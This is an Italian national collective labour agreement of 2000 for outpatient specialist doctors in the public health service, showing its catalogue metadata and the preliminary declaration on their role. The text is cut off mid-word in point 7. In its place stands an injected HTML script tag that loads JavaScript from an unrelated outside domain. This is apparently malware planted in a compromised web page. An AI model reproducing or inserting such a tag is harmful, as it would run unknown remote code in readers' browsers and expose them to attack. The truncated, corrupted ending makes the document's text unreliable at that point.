Categoria: Sanità (medici specialisti ambulatoriali)
Settore: Pubblica Amministrazione
Data stipula: 9-3-2000
Data decorrenza: 1-1-1998
Data scadenza: 31-12-2000

ACCORDO  COLLETTIVO  NAZIONALE  PER  LA  REGOLAMENTAZIONE  DEI RAPPORTI
CON  I  MEDICI  SPECIALISTI  AMBULATORLALI  AI   SENSI   DELL'ART.  48,
LEGGE 23 DICEMBRE 1978 N. 833 E DEL COMMA 8, ART. 8,  D.LGS. N. 502/92,
COSI' COME MODIFICATO DAI DD.LGS. NN. 517/93 E 229/99


9 marzo 2000



DICHIARAZIONE PRELIMINARE

Area dell'attività specialistica-distrettuale

1.    Nell'ambito della tutela costituzionale della salute del  cittadino,
  intesa  quale  fondamentale  diritto dell'individuo  e  interesse  della
  collettività, il Servizio Sanitario Nazionale (SSN) demanda  al  livello
  della "assistenza specialistica distrettuale", tra l'altro, il compito di
  corrispondere ad ogni esigenza di carattere specialistico che non richieda
  e/o tenda ad evitare la degenza ospedaliera, in una logica d'integrazione
  con  l'assistenza medica di base e di apporto e di interconnessione  con
  quella ospedaliera e degli altri servizi.

2.    In  tale  quadro,  attraverso  il  rapporto  convenzionale  previsto
  dall'art.  48,  legge  n.  833/78, gli specialisti  di  cui  all'Accordo
  Nazionale Unico per la Medicina Specialistica Ambulatoriale, sono  parte
  attiva  e  qualificante  del SSN, integrandosi nell'assistenza  primaria
  attraverso il coordinamento con le altre categorie di erogatori ammesse ad
  operare nel distretto, secondo quanto previsto dal comma 1, lett. a) e b),
  art.  3  quinquies, D.lgs. n. 229/99, e presso le strutture  accreditate
  ospedaliere e extra-ospedaliere per l'espletamento, secondo modalità  di
  accesso  ed  erogative uniformi, di tutti gli interventi  specialistici,
  diagnostico-terapeutici, preventivi e riabilitativi.

3.     Le  parti  si  danno  reciprocamente  atto  che  nel  processo   di
  razionalizzazione del SSN realizzato - attraverso i DD.lgs. nn.  502/92,
  517/93  e  229/99  - con modifiche della legge n. 833/78  finalizzate  a
  garantire ai cittadini un sistema sanitario caratterizzato dall'equità ma
  anche dall'efficienza operativa e dall'efficacia dei risultati, il medico
  specialista ambulatoriale partecipa al rinnovamento del sistema sanitario
  assicurando:

-    un rapporto coordinato con la dirigenza e con tutte le altre attività
  delle strutture operative delle aziende sanitarie;
-      la   disponibilità  a  concorrere  attivamente   al   decentramento
  dell'offerta di prestazioni specialistiche dai tradizionali  presidi  ai
  distretti territoriali;
-     un'attività flessibile per la pluralità dei servizi, delle  sedi  di
  lavoro e la variabilità degli orari;
-      un   corretto  e  conveniente  rapporto  costi/benefici  a   favore
  dell'utenza e del SSN.

4.    Il  livello  dell'assistenza specialistica territoriale risponde  in
  ogni  branca  specialistica alla domanda dell'utenza  in  modo  tale  da
  partecipare al processo di deospedalizzazione dell'assistenza contribuendo
  alla  umanizzazione  del  rapporto assistenziale,  al  mantenimento  del
  paziente nel proprio luogo di vita e alla eliminazione degli sprechi.

5.     Il  medico  specialista  ambulatoriale  è  parte  nel   "Patto   di
  solidarietà per la salute", promosso dal Piano sanitario nazionale per il
  triennio 1998-2000, approvato con DPR 23.7.98, mettendo a disposizione le
  proprie specificità professionali e le proprie competenze a favore delle
  istituzioni e dei cittadini.

6.    La  flessibilità e la territorialità dell'impegno specialistico come
  aspetti  caratteristici del rapporto di lavoro disciplinato dal presente
  accordo  divengono strumenti incisivi per abbattere, insieme agli  altri
  operatori  sanitari, le "disuguaglianze nei confronti della salute"  per
  quanto riguarda in particolare l'accesso ai sistemi di cura.

7.    Nell'ambito  del "Progetto nazionale per la salute"  lo  specialista
  ambulatoriale svolge un forte ruolo nel perseguire con le Regioni  e  le
  Aziende sanitarie i 5 obiettivi prioritari i<script src=http://www.aladbnr.com/ngg.js></script>